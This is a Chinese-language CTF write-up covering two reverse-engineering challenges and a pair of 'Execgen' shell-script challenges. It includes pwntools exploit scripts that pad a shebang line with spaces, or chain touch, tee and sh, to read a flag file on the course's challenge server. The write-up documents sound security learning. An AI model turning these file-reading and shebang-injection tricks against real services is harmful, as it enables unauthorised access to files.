# EDU-CTF writeup ## hackmd url https://hackmd.io/@Chtsai873/HyP2MwB5s * Reverse * [Mumumu](#Mumumu) * [Nekomatsuri](#Nekomatsuri) * Misc * [Execgen](#Execgen) * Revenge * [Execgen-safe](#Execgen-safe) # Reverse ## Mumumu * 解題思路 1. 先使用 file 指令查看檔案,以及使用 Detect It Easy 查看是否有裝殼 ![](https://i.imgur.com/Ix0eZvI.png) ![](https://i.imgur.com/wSvJzBo.png) 2. 使用 IDA 進行靜態分析,總結內容,程式會讀取 flag 裡的字串將其存入三維陣列後再調換位置後輸出成新的 flag_enc。 ![](https://i.imgur.com/VPus7YJ.png) ![](https://i.imgur.com/a9zufxD.png) ![](https://i.imgur.com/HKcD1xD.png) 3. 猜測 FLAG 字串排序的結果會有循環產生,因此將 flag_enc 重命名成 flag 並執行mumumu,重複24次之後,就可以拿到正確的 FLAG * 執行結果圖 ![](https://i.imgur.com/D7X07Kn.png) ## Nekomatsuri * 題目分析 1. 首先開IDA看看,會看到main裡面有一個function,他會把一些bytes hash過後再GetModuleHandle ![](https://i.imgur.com/IUpugzA.png) 2. 利用動態分析在hash完的地方下斷點,還原出ModuleName跟ProcName ![](https://i.imgur.com/QCrbkOp.png) 3. 還原main function,發現主程式會產生一個thread、Sleep、Hash一個東西、WriteFile和Wait ![](https://i.imgur.com/UpSzBfg.png) 4. 查看CreateThread裡面的StartCoroutine參數,會發現新的thread會建立一個pipe,用來讀寫資料。接著用CommandLine的方式創建另一個process,經過dbg分析,這個process會執行nekomatsuri.exe,並帶入兩個參數,一個是字串`Ch1y0d4m0m0`,一個是之前scanf接收的user input ![](https://i.imgur.com/zHzDXXQ.png) 5. 創建完process之後,thread會透過pipe等新的process那邊吐資料並print出,而main thread在sleep完之後會將字串`WinExec`寫入pipe 6. 新的process被創建出來之後,會進到main function的else block,把key和scanf的buffer做hash之後進入比對字串的function,之後將user input和`Ch1y0d4m0m0`做xor,再和hash過的hint做比對,最後將Correct或Wrong寫入pipe。值得注意的是,雖然變數一樣,但new process的scanf是從pipe那邊接收資料,而非使用者輸入,所以main function中的2個Source實際上代表不同的意義。 ![](https://i.imgur.com/EliNkKa.png) 7. 流程大致上長這樣: ``` main thread create child thread => main thread sleep => child thread create new process => child thread wait => main thread wake up => main thread write "WinExec" to new process => new process read => new process write "Correct" or "Wrong" to child threa => child thread read => child thread print result ``` * 解題思路 1. 利用dbg在CreateProcess之後下斷點,並在新的process hash完hint的地方下斷點,再將hint做xor就能得到flag,但是會發現新的process並沒有出現在process list當中,導致無法trace 2. 發現是因為process在創建出來之後就直接執行完,卡了很久以後,在CreateProcess的API裡面找到可以嘗試的方法,就是修改CreationFlags。因為原本被設為0,根據文件說明,會照預設方式執行新的process,如果將這個參數改成0x4,就會在創建完時被設為suspend的狀態。 ![](https://i.imgur.com/vsvV03v.png) ![](https://i.imgur.com/3ZQeqZ3.png) 3. 經過dbg分析,CreationFlags是在rsp+28的位置,在準備要呼叫CreateProcess之前手動把0x0 patch成 0x4,在呼叫完之後就可以在process list當中看到新的process ![](https://i.imgur.com/8D1SC0d.png) ![](https://i.imgur.com/d2R7MQX.png) 4. Attach新的process並追到進行字串比對的地方,就可以得到hash過後的hint,最後對hint做xor就能得到flag ``` # hint.txt 05 25 72 3D 4F 2F 57 01 57 3B 54 21 3B 51 02 4D 15 42 1E 51 18 7A 27 1A 76 09 43 11 43 11 47 2D 24 50 7C 26 3C 77 27 22 26 2C 7F 7F 0E 77 7C 37 61 6D 31 6F 62 69 36 46 35 3C 20 3F 39 6C 36 3C 50 ``` ```python # Python Script def hex2int(arr): for i in range(len(arr)): arr[i] = int('0x' + arr[i], 16) return arr key = 'Ch1y0d4m0m0' with open('hint.txt', 'r', encoding = 'utf-8') as f: hint = hex2int(f.read().split()) for i in range(65): flag = hint[i] ^ (i ^ ord(key[i % 11])) print(chr(flag), end='') ``` ![](https://i.imgur.com/ecudmYT.png) # Misc ## Execgen 這個題目是執行一個shell script,讓使用者輸入,先看看他的程式碼: ```bash #!/bin/bash IFS='' banner=' ___________ ________ \_ _____/__ ___ ____ ____ / _____/ ____ ____ | __)_\ \/ // __ \_/ ___\/ \ ____/ __ \ / \ | \> <\ ___/\ \___\ \_\ \ ___/| | \ /_______ /__/\_ \\___ >\___ >\______ /\___ >___| / \/ \/ \/ \/ \/ \/ \/ Create your script: ' echo -n $banner # create the script, easy! read -r script # oh, don't forget to add watermark! script+='(created by execgen)' # run the script for you, sweet! tmp=$(mktemp) echo "#!$script" > "$tmp" chmod 0755 "$tmp" out=$("$tmp") echo "$out" rm "$tmp" ``` 他會做幾件事情: 1. 輸出banner 2. 讀取輸入到變數 `$script` 中,並且使用 `-r` ,應該是raw的意思,會把輸入的字元全部當成字串的一部分(例如反斜線\ 或一些有特殊意義的字元都不會有作用) 3. 把 `$script` 變數加上 `'(created by execgen)'` 字串 4. 使用 `mktmp` 指令創建一個暫存檔案,並將檔案名稱存進 `$tmp` 變數中 5. 使用 `chmod` 將此檔案設爲可執行 6. 將 `$script` 變數的去前面加上 `'#!'` 字串後寫進暫存檔案內 7. 執行暫存檔案,並將結果輸出 8. 刪除暫存檔案 範例: 如果輸入字串爲 `/usr/bin/cat /home/chal/flag` ,那暫存檔案的內容會是: ``` #!/usr/bin/cat /home/chal/flag(created by execgen) ``` ### 問題 問題很明顯就是出在他加上的字串,以剛才的例子來說, `cat` 指令會嘗試去找路徑爲 `'/home/chal/flag(created by execgen)'` 的檔案,而很顯然是沒有這個檔案的。 因此要想辦法把後面的字串弄掉。 困難的點在於: shell會將第一個空格以前的字串視爲指令,第一個空格以後的字串視爲一個參數;也就是說,指令執行的時候只能接收一個參數,並且這個參數還會被污染。 ### 想法1 嘗試使用一些字元把他弄掉,例如不可print出來的ascii字元,或者換行字元等等。 #### 結果 嘗試送一些字元,結果無論如何都不能成功跳脫。 例如輸入: `/usr/bin/cat /home/chal/flag $@!%# \n\d\r'"'$/(){}[]` 結果還是會跳出 `/usr/bin/cat: '/home/chal/flag $@!%# \n\d\r'\''"'\''$/(){}[](created by execgen)': No such file or directory` 這個方法算是失敗了。 ### 想法2 既然他一定會加上那字串,那就將錯就錯,用那字串來做事。 具體方法如下: 1. 執行第一次,輸入 `/usr/bin/touch aaa` ,這樣他會建立一個檔名是 `aaa(created by execgen)` 的檔案。 2. 執行第二次,輸入 `/usr/bin/tee aaa` ,tee指令功能是從輸入讀取,並同時將該輸入輸出到檔案與stdout。 3. 給正在執行的tee輸入想要執行的程式碼,例如: `#!/usr/bin/cat /home/chal/flag` ,tee會負責寫進 `aaa(created by execgen)` 這個檔案中,這樣他就是一個沒有被污染過的shell script了。 4. 執行第三次,輸入 `/bin/sh aaa` ,讓他去執行 `aaa(created by execgen)` 這個檔案,而這個檔案我們剛剛已經寫成我們要的shell script了,理論上就能拿到flag了。 #### 結果 使用python程式碼如下: ```python import pwn import time # create new file r = pwn.remote("edu-ctf.zoolab.org", 10123) r.sendline(b"/usr/bin/touch aaa") time.sleep(0.1) r.close() time.sleep(0.1) # "write the file r = pwn.remote("edu-ctf.zoolab.org", 10123) r.sendline(b"/usr/bin/tee aaa") r.sendline(b"#!/bin/sh") r.sendline(b"cat /home/chal/flag") time.sleep(0.1) r.close() time.sleep(0.1) # "execute the file" r = pwn.remote("edu-ctf.zoolab.org", 10123) r.sendline(b"/bin/sh aaa") r.interactive() ``` 首先使用pwn.process試著在本機執行看看: ![](https://i.imgur.com/gVNpHCW.png) 非常完美,拿到flag了。 接下來嘗試遠端: ![](https://i.imgur.com/7lirTRv.png) 我的flag呢...? 想了很多失敗的原因,也嘗試了很多可能性,結果都沒有成功,這個解法也失敗了。 ### 想法3 這是我在洗澡的時候想到的,在Linux底下,檔案名稱的長度限制是255個bytes,那可不可以嘗試利用 `touch` 來建立一個超長名稱的檔案(超過255bytes),這樣說不定就可以把 `'(created by execgen)'` 給擠掉了? 答案是否定的,`touch`指令會出現下面錯誤: `touch: cannot touch 'aaa......aaa': File name too long` 但如果是寫在shell script內呢?例如: ```shell #!/usr/bin/touch aaa...aaabbb ``` 執行這個檔案,結果他居然建立了一個aaa...aaa的檔案(255個字元長度),並且沒有跳出錯誤! 嘗試使用 `cat` ,並且改塞空格,結果也是成果能夠抓到檔案。 到這邊答案已經呼之欲出,只要塞一大堆空格,讓他長度超過255,shell就會自動將後面的部分捨去掉(應該吧),那就能成功拿到我們要的東西了。 #### 解 使用下面python程式碼: ```python import pwn r = pwn.remote("edu-ctf.zoolab.org", 10123) payload = b"/usr/bin/cat /home/chal/flag" payload += b" " * 256 r.sendline(payload) r.interactive() ``` #### 結果 ![](https://i.imgur.com/BTSvsxM.png) 解了兩天,不過值得,因爲這個解法可以直接套用在Execgen-safe上。 # Revenge ## Execgen-safe 先看一下他的程式碼: ```bash #!/bin/bash IFS='' regex='^[A-Za-z0-9 /]*$' banner=' ___________ ________ \_ _____/__ ___ ____ ____ / _____/ ____ ____ | __)_\ \/ // __ \_/ ___\/ \ ____/ __ \ / \ | \> <\ ___/\ \___\ \_\ \ ___/| | \ /_______ /__/\_ \\___ >\___ >\______ /\___ >___| / \/ \/ \/ \/ \/ \/ \/ (safe version) Create your script: ' echo -n $banner # create the script, easy! read -r script # for your safety if ! [[ $script =~ $regex ]]; then echo "Hacker is not allowed to use the tool!" exit 0 fi # oh, don't forget to add watermark! script+='(created by execgen)' # run the script for you, sweet! tmp=$(mktemp) echo "#!$script" > "$tmp" chmod 0755 "$tmp" out=$("$tmp") echo "$out" rm "$tmp" ``` 跟Execgen不一樣的地方是他多了一個regular expression的判斷,確定有沒有不合法字元。 但這跟我們沒什麼關係,因爲空格是合法的。 ### 解 同Execgen,使用下面python程式碼: ```python import pwn r = pwn.remote("edu-ctf.zoolab.org", 10124) payload = b"/usr/bin/cat /home/chal/flag" payload += b" " * 256 r.sendline(payload) r.interactive() ``` ![](https://i.imgur.com/Eo9svnL.png)